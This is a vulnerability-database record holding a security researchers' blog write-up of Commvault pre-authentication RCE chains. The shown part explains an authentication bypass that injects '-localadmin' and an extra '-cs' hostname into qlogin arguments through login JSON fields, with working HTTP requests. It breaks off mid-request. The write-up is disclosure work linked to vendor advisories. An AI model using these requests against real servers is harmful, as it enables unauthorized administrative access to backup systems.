{"uuid": "220707d1-7e3e-4ed1-af30-61e39ddf5b1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "name": "Guess Who Would Be Stupid Enough To Rob The Same Vault Twice? Pre-Auth RCE Chains in Commvault", "description": "# Guess Who Would Be Stupid Enough To Rob The Same Vault Twice? Pre-Auth RCE Chains in Commvault\nWe\u2019re back, and we\u2019ve finished telling everyone that our name was on the back of Phrack!!!!1111\n\nWhatever, nerds.\n\nToday, we're back to scheduled content. Like our friendly neighbourhood ransomware gangs and APT groups, we've continued to spend irrational amounts of time looking at critical enterprise-grade solutions - the ones that we think are made of the **really** **good** string.\n\nIf you recall, in a [previous adventure](https://labs.watchtowr.com/fire-in-the-hole-were-breaching-the-vault-commvault-remote-code-execution-cve-2025-34028/), we found vulnerabilities in Commvault that allowed us to turn Commvault's enterprise Backup and Replication solution -trusted by some of the largest organizations in the world - into a Secure-By-Design Remote Code Execution delivery service.\n\nStolen shamelessly from our last blog post:\n\n> What Is It?\n\n> Commvault is a self-described Data Protection or Cyber Resilience solution; fancy words aside, product market review sites categorise Commvault as an Enterprise Backup and Replication suite. This ability to read tells us that Commvault offers integrations and supports a wide array of technologies, including\u00a0[cloud providers, databases, SOARs, hypervisors, and more](https://www.commvault.com/supported-technologies?ref=labs.watchtowr.com).\n\n> To gain an idea of the type of customers that use the Commvault solution, we can casually glance at their\u00a0[customer stories and logos](https://www.commvault.com/customers?ref=labs.watchtowr.com)\u00a0- quickly revealing that the target audience for their software includes large enterprises, MSPs, and human sweatshops.\n\nAs we have seen throughout history, and repeatedly with our friends at Veeam over the Veeam-years - Backup and Replication solutions represent a high-value target for threat actors.\n\nWhile discovering and identifying [CVE-2025-34028](https://labs.watchtowr.com/fire-in-the-hole-were-breaching-the-vault-commvault-remote-code-execution-cve-2025-34028/) that we've discussed before, we actually did a thing and found further weaknesses - ultimately culminating in four more vulnerabilities discussed today that, when combined, evolve like your favourite Pok\u00e9mon (Labubu's but for old people) into two distinct pre-authentication Remote Code Execution chains.\n\nAs always, the chains have unique qualities:\n\n*   One chain applies to any unpatched Commvault instance, while,\n*   The second chain requires specific, common conditions to be met to be exploitable in many environments.\n\nAs always, clients using our Preemptive Exposure Management technology \u2013 the watchTowr Platform \u2013 knew about their exposure as soon as we did.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-8.png)\n\n### So, What Are We Discussing Today?\n\nToday's screaming into the void aims to take you on a journey into two unique pre-authentication RCE chains in Commvault discovered in version `11.38.20`.\n\n**First Pre-Auth RCE Chain** \u2013 Works everywhere\n\n*   **WT-2025-0050** \u2013 Authentication bypass via argument injection in the `qlogin` QCommand, allowing us to generate a valid API token for the `localadmin` user.\n    *   [https://documentation.commvault.com/securityadvisories/CV\\_2025\\_08\\_1.html](https://documentation.commvault.com/securityadvisories/CV_2025_08_1.html?ref=labs.watchtowr.com)\n*   **WT-2025-0049** \u2013 Post-auth RCE via absolute path traversal in QCommand output writer, allowing a JSP webshell to be dropped straight into the webroot.\n    *   [https://documentation.commvault.com/securityadvisories/CV\\_2025\\_08\\_2.html](https://documentation.commvault.com/securityadvisories/CV_2025_08_2.html?ref=labs.watchtowr.com)\n\n**Second Pre-Auth RCE Chain** \u2013 Works if the built-in `admin` password hasn\u2019t been changed since installation\n\n*   **WT-2025-0047** \u2013 Authentication bypass allowing us to leak the password of the low-privileged `_+_PublicSharingUser_`.\n    *   [https://documentation.commvault.com/securityadvisories/CV\\_2025\\_08\\_3.html](https://documentation.commvault.com/securityadvisories/CV_2025_08_3.html?ref=labs.watchtowr.com)\n*   **WT-2025-0048** \u2013 Privilege escalation via hard-coded encryption key, allowing us to decrypt the built-in `admin` password if it\u2019s stored in encrypted form.\n    *   [https://documentation.commvault.com/securityadvisories/CV\\_2025\\_08\\_4.html](https://documentation.commvault.com/securityadvisories/CV_2025_08_4.html?ref=labs.watchtowr.com)\n*   **WT-2025-0049** \u2013 The same post-auth RCE from the first chain to finish with full remote code execution.\n    *   [https://documentation.commvault.com/securityadvisories/CV\\_2025\\_08\\_2.html](https://documentation.commvault.com/securityadvisories/CV_2025_08_2.html?ref=labs.watchtowr.com)\n\nArchitecture Time, Folks\n------------------------\n\n### Commvault Architecture - API Proxying to RestServlet IIS\n\nIn our previous Commvault research, we noted that most internet-exposed instances run a Tomcat server on port 443, while an IIS service listens on port 81 but is rarely exposed externally. Commvault\u2019s architecture bridges these two components.\n\nThe Java front-end on Tomcat proxies many requests under `/commandcenter/RestServlet` to backend .NET APIs on `localhost:81`. These APIs, hosted in IIS, implement much of the core functionality with more than 5,600 endpoints and are normally unreachable from the outside.\n\nBy capturing local traffic in Wireshark while fuzzing known endpoints, we saw requests like:\n\n```\n/commandcenter/RestServlet/Test/Echo/watchTowr\n\n```\n\n\nproxied internally to:\n\n```\nhttp://localhost:81/Commandcenter/CSWebService.svc/Test/Echo/watchTowr\n```\n\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-9.png)\n\nNot one to waste a meme from our previous Commvault research, we present:\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-10.png)\n\nTo understand more about these endpoints, we reviewed the DLLs available in `F:\\Program Files\\Commvault\\ContentStore\\CVSearchService\\Bin` , allowing us to understand how routes are formatted.\n\nWe found two API implementations in this configuration, one in a .NET 8 application and one in a .NET Framework application. In our review, we identified their routes in the following format:\n\n```\n\t\t[OperationContract]\n\t\t[WebGet(UriTemplate = \"/Test/EchoString/{text}\", ResponseFormat = WebMessageFormat.Json)]\n\t\tstring EchoString_Get(string text);\n\n```\n\n\n```\n\t\t[HttpGet(\"Test/EchoString/{text}\")]\n\t\tpublic IActionResult EchoString_Get(string text)\n\t\t{\n\t\t\tstring value = string.Empty;\n\t\t\ttry\n\t\t\t{\n\t\t\t\tvalue = this._Echo(text);\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tbase.logger.LogException(ex, \"EchoString_Get\", 91);\n\t\t\t\tvalue = ex.ToString();\n\t\t\t}\n\t\t\treturn this.Ok(value);\n\t\t}\n\n\n```\n\n\nIf an API route is implemented in both the .NET 8 and .NET Framework applications, the request defaults to the .NET 8 version. These can be triggered as follows:\n\n```\nGET /commandcenter/RestServlet/Test/Echo/watchTowr HTTP/1.1\nHost: Hostname\n\n```\n\n\n```\nHTTP/1.1 200 \nStrict-Transport-Security: max-age=31536000;includeSubDomains\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nSet-Cookie: JSESSIONID=AE0AED35ED937296B4B69BB455B040DC; Path=/commandcenter; Secure; HttpOnly\nX-Frame-Options: SAMEORIGIN\nContent-Security-Policy: default-src 'self'  https:; script-src 'self' 'unsafe-eval' 'nonce-1vslsbgrv20nq' <https://code.highcharts.com> <https://www.googletagmanager.com> ; img-src 'self' data: <https://flagcdn.com> https://*.mapbox.com/ https://*.gstatic.com ; img-src 'self' <https://flagcdn.com> blob: data: https://*.mapbox.com/ https://*.gstatic.com ; connect-src 'self' <https://ipapi.co/> https://*.mapbox.com/ <https://git.commvault.com> <https://api-engineer.azurewebsites.net/> <https://edit.commvault.com:11316> <http://deployer.commvault.com:8888/> <https://deployer.commvault.com:8888/> <https://www.google-analytics.com/>  ; object-src 'none' ; worker-src 'self' blob:  ; child-src 'self' blob: data: <https://export.highcharts.com> <https://www.youtube.com/> https://*.vimeo.com/ https://*.vimeocdn.com/ <https://cvvectorstore1.blob.core.windows.net/> ; style-src 'self' 'unsafe-inline'  <https://fonts.googleapis.com> <https://stackpath.bootstrapcdn.com>; base-uri 'self' ; font-src 'self' data: <https://fonts.gstatic.com> ; upgrade-insecure-requests; report-uri https:///commandcenter/consoleError.do;\nPermissions-Policy: accelerometer=(); geolocation=(); gyroscope=(); microphone=(); payment=();\nX-UA-Compatible: IE=Edge,chrome=1\nReferrer-Policy: strict-origin-when-cross-origin\nServer: Commvault WebServer\nWEBSERVERCORE-FLAG: true\nDate: Fri, 02 May 2025 05:24:41 GMT\nContent-Type: text/plain;charset=utf-8\nContent-Length: 21\n\nMessage:\nwatchTowr\n\n\n```\n\n\nSo, as a high-level summary:\n\n*   Requests to `/commandcenter/RestServlet` are first handled by the Java front-end, for example `/commandcenter/RestServlet/Test/Echo/watchTowr`.\n*   The Java layer does not process these API calls itself. Instead, it forwards them to a .NET API backend listening on `localhost:81`, passing along the request path, headers, and body.\n*   This allows an external request to reach the internal .NET API, which is normally not exposed.\n\nThe .NET API contains 5,655 endpoints, creating a very large attack surface. As a spoiler for what\u2019s ahead - almost all of the vulnerabilities in this post are found within this API.\n\n### Commvault Architecture - QCommand, QAPI and QLogin\n\nNow, before we move onto the juice - we need to explain some other important pieces of Commvault architecture.\n\nCommvault includes its own command interface, **QCommands**, which are documented in detail in the official CLI reference. QCommands can perform almost any administrative task available in the CommCell Console, from listing jobs to running backups and restores. They are typically invoked in 3 primary ways:\n\n*   **Invoked internally by the API** \u2013 Many API endpoints ultimately call a QCommand via the `QAPI` interface to perform work.\n*   **Run locally from the CLI** \u2013 QCommands also exist as standalone binaries on the Commvault server and can be executed directly from the operating system.\n*   **Triggered through the REST API** \u2013 An authenticated user with sufficient privileges can send QCommands directly via the REST API.\n\nFor example, the `qlist job` QCommand, documented in the product manual, lists backup or restore jobs in the environment. Running it locally without arguments simply returns no jobs. Providing a specific job ID, such as `1`, returns its details.\n\nQCommands enforce access control by requiring a valid API token, usually passed via the `-tk` argument. If you are an administrator, you can pass your token directly on the command line:\n\n```\nqlist job -jn 1 -tk <admin_token>\n\n```\n\n\nWhen a QCommand is called internally by the API, the authenticated user\u2019s token is automatically included in the process invocation. This keeps QCommands aligned with the permissions of the calling account.\n\n### QLogin\n\nOne special QCommand, [`qlogin`](https://documentation.commvault.com/11.20/qlogin.html?ref=labs.watchtowr.com), handles authentication. It accepts a username and password, and if the credentials are valid, it generates an API token.\n\nA typical invocation looks like:\n\n```\nqlogin -cs <commserver> -csn <commserver_name> -gt -u <username> -clp <password>\n\n```\n\n\nWhere:\n\n*   `cs` and `csn` specify the CommServe host and client name.\n*   `gt` requests the token to be printed on success.\n*   `u` is the username.\n*   `clp` provides the plaintext password.\n\nThis combination of broad system access and token generation means QLogin is a high-value QCommand.\n\n**This part is incredibly important: any process that can influence its arguments or parameters passed to QLogin, whether via CLI or an API call that wraps it, can potentially control authentication flow.**\n\nWT-2025-0050: Authentication Bypass through QCommand Argument Injection\n-----------------------------------------------------------------------\n\n### 1) Context: where `/Login` lives\n\nAt this point, we know that the Java-based frontend is using the `/Commandcenter/RestServlet` endpoint to forward our requests to the .NET-based backend API. This backend is responsible for the majority of sensitive operations. Guess what. Main authentication endpoint is also implemented in the .NET API and is mapped to the `/Login` path.\n\nMain authentication endpoints are a primary target for the attackers (and nosy security researchers), thus many people assume that they should be relatively safe. This is because many people have already looked at them, right? What if everybody thinks that everybody have already looked at them, and in the effect nobody had ever looked at them?\n\nWe, bored watchTowr people, decided to test this assumption and we had a very brief look at this endpoint. Who knows, maybe we will find some silly authentication bypass there? The first thing that stood out was the fact that the implementation is huge. It defines a lot of different authentication types, so we decided to look around for a while.\n\n### 2) Normal login request and controller\n\nWhen logging into CommVault through the main login page, the client sends the following HTTP request:\n\n```\nPOST /commandcenter/api/Login HTTP/1.1\nHost: commvaultlab\nAccept: application/json\nContent-Type: application/json;charset=UTF-8\n\n{\n  \"username\": \"someuser\",\n  \"password\": \"c29tZXBhc3N3b3Jk\"\n}\n\n```\n\n\nThe request contains a JSON body with the password base64-encoded. The Java-based front end forwards this authentication request to the .NET API backend, where it is processed by the `/Login` endpoint:\n\n```\n[HttpPost(\"Login\")]\npublic IActionResult Login([FromBody] CheckCredentialReq req) // [1]\n{\n\tCheckCredentialResp checkCredentialResp = new CheckCredentialResp();\n\tthis.ValidateLoginInput(req);\n\ttry\n\t{\n\t\tStopwatch stopwatch = new Stopwatch();\n\t\tstopwatch.Start();\n\t\tcheckCredentialResp = new AuthenticationCore().DoLogin(req); // [2]\n\t\tstopwatch.Stop();\n\t\tbase.logger.LogInfo(\"Total time taken to execute login: [\" + string.Format(\"{0:0.00}\", stopwatch.Elapsed.TotalSeconds) + \"] second(s)\", \"Login\", 57);\n\t}\n\tcatch (Exception ex)\n\t{\n\t\tbase.logger.LogError(ex.Message + \" : \" + ex.StackTrace, \"Login\", 61);\n\t\tcheckCredentialResp.errList = (((checkCredentialResp != null) ? checkCredentialResp.errList : null) ?? new List<Error>());\n\t\tif (checkCredentialResp.errList.Count == 0)\n\t\t{\n\t\t\tcheckCredentialResp.errList.Add(new Error\n\t\t\t{\n\t\t\t\terrorCode = 500,\n\t\t\t\terrLogMessage = \"Internal server error.\"\n\t\t\t});\n\t\t}\n\t}\n\treturn this.Ok(checkCredentialResp);\n}\n\n```\n\n\nThe first thing to note is that this endpoint expects an object of the `CheckCredentialReq` type (`[1]`). This means the JSON in our HTTP request will be deserialized into an instance of this class.\n\nOne detail immediately stood out: while a typical login request only supplies two properties (`username` and `password`), the `CheckCredentialReq` class defines more than 40 properties - many of which can also be deserialized from the request.\n\nThe screenshot below shows just a few examples, such as `appid` and `hostName` :\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-11.png)\n\nIt appears we can modify the authentication request by including additional parameters, for example:\n\n```\n{\n  \"username\": \"someuser\",\n  \"password\": \"c29tZXBhc3N3b3Jk\",\n  \"appid\": \"watchTowr\"\n}\n\n```\n\n\nWhile this is interesting, it is not immediately useful. To learn more, we need to dig deeper - specifically into the `DoLogin` method referenced at `[2]`.\n\n* * *\n\n### 3) The branch to \u201cremote\u201d login\n\nSkipping over irrelevant code, the key point is that our deserialized `CheckCredentialReq` object eventually reaches the `Login_V1` method.\n\nHere\u2019s a small fragment of that method:\n\n```\npublic CheckCredentialResp Login_V1(CheckCredentialReq loginRequest)\n{\n\tint num = 0;\n\tstring empty = string.Empty;\n\tVCloudExternalAuthentication vcloudHandler = new VCloudExternalAuthentication();\n\tCheckCredentialResp checkCredentialResp = new CheckCredentialResp\n\t{\n\t\terrList = new List<Error>()\n\t};\n\tthis.loginRequestSpecialInputs = this.ConvertNameValueMapToDictionary(loginRequest);\n\t//...\n\t\telse\n\t\t{\n\t\t\tbool flag7 = this.IsRemoteCSLogin(loginRequest.commserver); // [1]\n\t\t\tif (flag7)\n\t\t\t{\n\t\t\t\tthis.DoRemoteCSLogin(loginRequest, ref checkCredentialResp); // [2]\n\t\t\t\tresult = checkCredentialResp;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t//...\n\n```\n\n\nAt `[1]`, the `commserver` parameter from the `loginRequest` is passed to the `IsRemoteCSLogin` method.\n\nIf the `IsRemoteCSLogin` check passes, the flow proceeds to `DoRemoteCSLogin` with our `loginRequest` (at `[2]`).\n\nSince `IsRemoteCSLogin` determines whether `DoRemoteCSLogin` is reached, let\u2019s examine `CV.WebServer.Handlers.Authentication.AuthenticationCore.IsRemoteCSLogin`:\n\n```\npublic bool IsRemoteCSLogin(string commserver)\n{\n\tbool flag = !string.IsNullOrWhiteSpace(commserver);\n\tbool result;\n\tif (flag)\n\t{\n\t\tstring[] array = commserver.Split('*', StringSplitOptions.None);\n\t\tbool flag2 = !string.Equals(array[0], CVWebConf.getCommServHostName(), StringComparison.OrdinalIgnoreCase); // [1]\n\t\tif (flag2)\n\t\t{\n\t\t\t//...\n\t\t\tresult = true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t//...\n\t\t\tresult = false;\n\t\t}\n\t}\n\telse\n\t{\n\t\tbase.logger.LogDiag(\"Commserver field is empty or null.Returning isRemoteCSLogin:false\", \"IsRemoteCSLogin\", 2352);\n\t\tresult = false;\n\t}\n\treturn result;\n}\n\n\n```\n\n\nThe logic is straightforward.\n\nAt `[1]`, the code calls `CVWebConf.getCommServHostName()` to retrieve the hostname of the current CommVault server. It then compares this value to the one supplied in the `commserver` field of the authentication JSON body.\n\nIf the two values match, the check fails and execution never reaches `DoRemoteCSLogin`.\n\nThis makes sense - the method name suggests it is intended for authentication against a remote server. In practice, the product appears to support integrating multiple servers and delegating authentication to another system. This method is used for that scenario.\n\nFor example, if the actual hostname is `watchTowrRocks`, we would need to supply a different value such as `watchTowrRocksX2` to reach `DoRemoteCSLogin`.\n\n### 4) `DoRemoteCSLogin` calls into `QLogin`\n\nWe can now look at the `DoRemoteCSLogin` method and examine the relevant fragment.\n\n```\nprivate bool DoRemoteCSLogin(CheckCredentialReq loginRequest, ref CheckCredentialResp loginResponse)\n{\n\tint num = 0;\n\tstring empty = string.Empty;\n\tbool flag = !loginRequest.usernameFieldSpecified;\n\tbool result;\n\tif (flag)\n\t{\n\t\tbase.logger.LogError(\"username is not specified. Invalid remote CS login.\", \"DoRemoteCSLogin\", 2154);\n\t\tthis.FillLoginResponseWithError(ref loginResponse, num, empty, 1127, \"unknown error\", \"\");\n\t\tresult = false;\n\t}\n\telse\n\t{\n\t\tbool flag2 = !this.DecodePass(ref loginRequest, ref loginResponse);\n\t\tif (flag2)\n\t\t{\n\t\t\tresult = false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tloginRequest.username = this.GetFullUsername(loginRequest);\n\t\t\tstring commserverName = loginRequest.commserver.Split('*', StringSplitOptions.None)\n[0];\n\t\t\tstring text;\n\t\t\tstring text2;\n\t\t\tnum = new QLogin().DoQlogin(loginRequest.commserver, loginRequest.username, loginRequest.password, out text, out text2, out empty, 5, false); // [1]\n\t\t\tbool flag3 = num == 0;\n\t\t\tif (flag3)\n\t\t\t{\n\t\t\t\tbase.logger.LogTrace(\"Commcell login succeeded for user \" + loginRequest.username + \" for Commserver \" + loginRequest.commserver, \"DoRemoteCSLogin\", 2175);\n\t\t\t\tint value;\n\t\t\t\tstring text3;\n\t\t\t\tnum = new QLogin().GetQSDKUserInfo(commserverName, loginRequest.username, text, out value, out text3, out empty); // [2]\n\t\t\t\tbool flag4 = num == 0;\n\t\t\t\tif (flag4){\n\t\t\t\t//...\n\n```\n\n\nThere are two relevant method calls here.\n\nAt `[1]`, the code calls `CV.WebServer.Handlers.Authentication.QLogin.DoQlogin` with three parameters that are fully under our control:\n\n*   `username`\n*   `password`\n*   `commserver`\n\nThis method sets the `text` string, which is then passed to the `GetQSDKUserInfo` method along with the `commserver` and `username`.\n\n### 5) The vulnerable construction inside `DoQlogin`\n\nA quick spoiler - `DoQlogin` will turn out to be a critical function for our purposes.\n\nLet\u2019s break it down:\n\n```\ninternal int DoQlogin(string commserverName, string userName, string password, out string token, out string qsdkGuid, out string errorString, int samlTokenValidityInMins = 5, bool isCreateSamlTokenRequest = false)\n{\n\tstring[] array = commserverName.Split('*', StringSplitOptions.None);\n\tstring text = array[0];\n\tstring text2 = string.IsNullOrEmpty(this.csClientName) ? text : this.csClientName;\n\tstring text3;\n\terrorString = (text3 = string.Empty);\n\tqsdkGuid = (text3 = text3);\n\ttoken = text3;\n\tbool flag = array.Length > 1;\n\tif (flag)\n\t{\n\t\ttext2 = array[1];\n\t}\n\tstring commandParameters = string.Empty;\n\tif (isCreateSamlTokenRequest)\n\t{\n\t\tcommandParameters = string.Format(\"-cs {0} -csn {1} -getsamlToken -gt -u {2} -clp {3} -validformins {4} -featureType {5}\", new object[]\n\t\t{\n\t\t\ttext,\n\t\t\ttext2,\n\t\t\tuserName,\n\t\t\tpassword,\n\t\t\tsamlTokenValidityInMins,\n\t\t\tthis.SAMLTokenFeatureType\n\t\t}); // [1]\n\t}\n\telse\n\t{\n\t\tcommandParameters = string.Format(\" -cs {0} -csn {1} -gt -u {2} -clp {3} \", new object[]\n\t\t{\n\t\t\ttext,\n\t\t\ttext2,\n\t\t\tuserName,\n\t\t\tpassword\n\t\t}); // [2]\n\t}\n\tstring pinfoXML = QLogin.GetPInfoXML(0, string.Empty, 0, Convert.ToInt32(QLogin.QCOMMANDS.QCOMMAND_LOGIN).ToString(), Convert.ToInt32(QLogin.QAPI_OperationSubType.QQAPI_OPERATION_NOSUBCOMMAND).ToString(), 0U, commandParameters, commserverName, null, false, null); // [3]\n\tstring empty = string.Empty;\n\tstring empty2 = string.Empty;\n\tint num = new QAPICommandCppSharp().handleQAPIReq(pinfoXML, empty, ref empty2); // [4]\n\tbool flag2 = num == 0;\n\tif (flag2)\n\t{\n\t\ttoken = empty2;\n\t\tbool flag3 = !isCreateSamlTokenRequest;\n\t\tif (flag3)\n\t\t{\n\t\t\tstring xml = string.Empty;\n\t\t\txml = CVWebConf.GetDecryptedPassword(token);\n\t\t\tQAllTokenInfo qallTokenInfo = new QAllTokenInfo();\n\t\t\tXMLDecoder.ReadXml(xml, qallTokenInfo);\n\t\t\tqsdkGuid = CVWebConf.decodePass(Convert.ToBase64String(qallTokenInfo.tokenInfo[0].guid));\n\t\t}\n\t}\n\treturn num;\n}\n\n```\n\n\nAt `[1]` and `[2]`, the code builds a string that appears to be a list of arguments for a command.\n\nThe case at `[2]` is of particular interest, since both `text` and `text2` can be set via our `commserver` parameter, meaning we control the input entirely.\n\nAt `[3]`, an XML string is created using our `commandParameters`, which gives us an opportunity to inject arbitrary arguments.\n\nAt `[4]`, the authentication request is executed through the `QAPICommandCppSharp().handleQAPIReq` method.\n\nThe problem is clear: user input is not sanitized, and the arguments are concatenated with simple string formatting, which allows arbitrary argument injection.\n\nAs noted earlier, controlling the arguments passed to `QLogin` means controlling the authentication process itself.\n\nThe next step was to prove it.\n\n### 6) Exploitation details\n\n### Argument Injection in QLogin\n\nWe have confirmed an argument injection vulnerability and believe that controlling the arguments passed to `QLogin` can allow us to bypass authentication. Now it is time to test that theory.\n\nSuppose we send the following JSON in our authentication request:\n\n```\n{\n  \"username\": \"someuser\",\n  \"password\": \"c29tZXBhc3N3b3Jk\",\n  \"commserver\": \"watchTowr\"\n}\n\n```\n\n\nIn this scenario, the backend will invoke the following QCommand, using the arguments we described earlier in the explainer:\n\n`qlogin -cs watchTowr -csn watchTowr -gt -u someuser -clp somepassword`\n\nWe can inject arbitrary arguments into any of these parameters, although there are some nuances. Let\u2019s break the exploitation process into several steps.\n\n### Providing a valid CommServer\n\nTo reach the vulnerable code that enables argument injection, the `commserver` value we supply must be different from the actual hostname of the target CommVault instance.\n\nHowever, our goal is still to authenticate to that same target instance in order to generate a valid token.\n\nLet\u2019s revisit the code fragment responsible for verifying the `commserver` value:\n\n```\nstring[] array = commserver.Split('*', StringSplitOptions.None);\nbool flag2 = !string.Equals(array[0], CVWebConf.getCommServHostName(), StringComparison.OrdinalIgnoreCase);\n\n```\n\n\nIn short, the `commserver` value we send must be different from the value returned by `CVWebConf.getCommServHostName()`. In our lab, this method returns the OS hostname `WIN-AC7GJT5`.\n\nUsing `WIN-AC7GJT5` will fail the hostname check, so an obvious alternative is to set `commserver` to `localhost`.\n\nTo verify this approach, we can test it directly by running `qlogin` from the command line:\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-12.png)\n\nUnfortunately, this approach fails.\n\nThe `qlogin` command performs a strict hostname comparison, so we must supply exactly the same value returned by `CVWebConf.getCommServHostName()`.\n\nAt first glance this might seem like the end of the road. However, the argument injection gives us a way forward. By setting the `commserver` value to:\n\n```\nvalidhostname -cs validhostname\n\n```\n\n\nwe inject an extra `-cs` argument.\n\nThis does not break `qlogin` because it simply ignores the extra argument, but it does mean that `validhostname -cs validhostname` is not equal to `validhostname`. This allows us to pass the hostname check successfully:\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-13.png)\n\nThis approach works, and we receive a valid authentication token for the admin user.\n\nAt this point, we know that our JSON body should look like this:\n\n```\n{\n  \"username\": \"someuser\",\n  \"password\": \"c29tZXBhc3N3b3Jk\",\n  \"commserver\": \"$validhostname$ -cs $validhostname$\"\n}\n\n```\n\n\nThere are two important points to remember:\n\n1.  We cannot inject any additional arguments into the `commserver` field.\n\nThis is because it will be used again later in a different QCommand (`qoperation execute`). If we include any argument that is not supported by `qoperation`, the exploitation will fail.\n\n1.  How do we get a valid hostname?\n\nThis is easy to leak in several ways. One example is to query the following endpoint:\n\n```\nGET /commandcenter/publicLink.do\n\n```\n\n\nThe hostname appears in multiple parts of the response, for example:\n\n```\n\"activeMQConnectionURL\":\"tcp://WIN-AC7GJT5:8052\"\n\n```\n\n\nThe first piece of the exploitation puzzle is solved.\n\nOf course, it would not be much of a vulnerability if we still needed valid credentials to authenticate.\n\nOur next step is clear - drop the valid credentials, authenticate regardless.\n\n### Argument Injection in Password Field\n\nMoving onto our journey of dropping requirement for valid credentials, our gaze turns to other fields. This requires something obvious - we need to get familiar with the arguments the command is accepting (duh).\n\nLet\u2019s review the available options for `qlogin`. Do any of them stand out?\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-14.png)\n\nWhile reviewing the arguments accepted by `qlogin`, one in particular stood out: `-localadmin`.\n\nAccording to its documentation, this argument allows a user to authenticate without providing any credentials, provided they are a local administrator on the CommVault server.\n\nThat sounded far too powerful to ignore - so we decided to test our theory via the `qlogin` CLI implementation from the perspective of a low-privileged local user:\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-15.png)\n\nAs expected, the attempt failed - running `qlogin -localadmin` from a low-privileged account does not bypass authentication.\n\nBut what if the .NET process handling API requests had elevated rights?\n\nIf that process was running with elevated rights, then supplying `-localadmin` as part of our injected arguments might actually succeed.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-16.png)\n\nUnfortunately, the process runs as `NT AUTHORITY\\NETWORK SERVICE`, which does not have sufficient privileges to generate a valid token using the `-localadmin` argument.\n\nHowever, the attacker does not need to worry. The `qlogin` command is **not** executed directly by the `w3wp.exe` process. When a `/Login` request is delivered with a `commserver` value defined, the request follows a different execution path - and ultimately, `qlogin` is launched by another process entirely.\n\nOnce again, we're going to throw our design team under the bus and show their beautiful image below, that hopefully helps explain this (the smiling face is us):\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-17.png)\n\nWhen processing the command, the QAPI call sends it to another .NET process over the GRPC channel (`dotnet.exe`). The `qlogin` command is then executed with the privileges of `dotnet.exe` :\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-18.png)\n\nLuckily for the attacker, `dotnet.exe` runs with SYSTEM privileges, so injecting the `-localadmin` argument should work in our attack scenario.\n\nLet\u2019s try to reproduce this from our CLI again, with elevated privileges:\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-19.png)\n\nAnd it worked - the token was generated!\n\nWhen the `-localadmin` argument is provided, the username and password are ignored and `qlogin` simply returns a valid `localadmin` token.\n\nWe now have a clear path.\n\nThe next step is to exploit the vulnerability by injecting the `-localadmin` argument into the `password` parameter, with the value `a -localadmin` base64-encoded.\n\nAs magic would have it, here is an HTTP request doing exactly that:\n\n```\nPOST /commandcenter/api/Login HTTP/1.1\nHost: commvaultlab\nAccept: application/json\nContent-Type: application/json;charset=UTF-8\nContent-Length: 117\n\n{\n  \"username\": \"admin\",\n  \"password\": \"YSAtbG9jYWxhZG1pbg==\", // \"a -localadmin\"\n  \"commserver\":\"WIN-AC7GJT5 -cs WIN-AC7GJT5\"\n}\n\n```\n\n\nUnfortunately, the response is not promising:\n\n```\n{\n\t\"loginAttempts\":0,\n\t\"remainingLockTime\":0,\n\t\"errList\":[\n\t\t{\n\t\t\t\"errLogMessage\":\"\\n<App_GenericResponse>\\n\\n  <response>\\n    <errorString>Caller do not have permission to get user information or he is not a peer user.<\\u002ferrorString>\\n    <errorCode>587205848<\\u002ferrorCode>\\n  <\\u002fresponse>\\n\\n<\\u002fApp_GenericResponse>\",\n\t\t\t\"errorCode\":5\n\t\t}\n\t]\n}\n\n```\n\n\nThis is life. We were expecting to get the highly privileged API token, but instead we received a user-related exception.\n\nTime to solve this last piece of the puzzle.\n\n### Providing a Proper Username\n\nTo understand why we\u2019re receiving a user-related exception instead of the API token we crave, we need to debug the `qlogin` command directly.\n\nLet\u2019s start by running it in a controlled environment to see exactly how it behaves:\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-20.png)\n\nReviewing the image above, we can see that our injection of `-localadmin` worked, and the `empty2` variable is storing the generated API token.\n\nSo why are we still getting an error?\n\nAfter obtaining the valid token with `DoQLogin`, the code passes it - along with our parameters - to a second method: `GetQSDKUserInfo`. This method executes another QCommand to fetch details of the user we authenticated as.\n\nHere is the problem: `GetQSDKUserInfo` takes the `username` parameter from our login request and attempts to retrieve that user\u2019s details using the API token from `DoQLogin`:\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-21.png)\n\nThe error stored in the `empty` variable shows exactly what happened. The `localadmin` token cannot access details of the `admin` user. We generated a token for `localadmin` but tried to retrieve details for `admin`. These are two different accounts, so the request fails an additional authorization check.\n\nTo fix this, we need the correct username for the account we authenticated as using the `-localadmin` switch. A quick look at the database reveals the answer:\n\n`$validhostname$_localadmin__`\n\nThe username is based on the hostname, which we already leaked earlier!\n\nTying This All Together:\n------------------------\n\nAt this point we have every component needed to turn this into a working proof-of-concept exploit. The full attack chain relies on:\n\n*   **Argument injection** in two places:\n    *   The `commserver` parameter, to bypass the hostname check.\n    *   The `password` parameter, to inject the `localadmin` switch.\n*   **High-privilege execution** of `qlogin` - triggered indirectly via the `.NET` backend and GRPC - meaning the injected `localadmin` switch actually works, even for remote attackers.\n*   **The `localadmin` QCommand option**, which issues a valid authentication token without requiring any credentials when run as SYSTEM.\n*   **The hostname check bypass**, achieved by appending an extra `cs` argument to the `commserver` value so it passes the `IsRemoteCSLogin` test while still functioning.\n*   **Leaking the valid hostname** of the target instance via `/commandcenter/publicLink.do` (or other methods).\n*   **Passing the correct username** in the login request so `GetQSDKUserInfo` succeeds with the `localadmin` token.\n\n**Understanding the generated username format** for `localadmin` tokens:\n\n```\n<validhostname>_localadmin__\n\n```\n\n\nWith all of these pieces in place, the vulnerability can be exploited in a single HTTP request (or two, if you still need to leak the hostname).\n\n```\nPOST 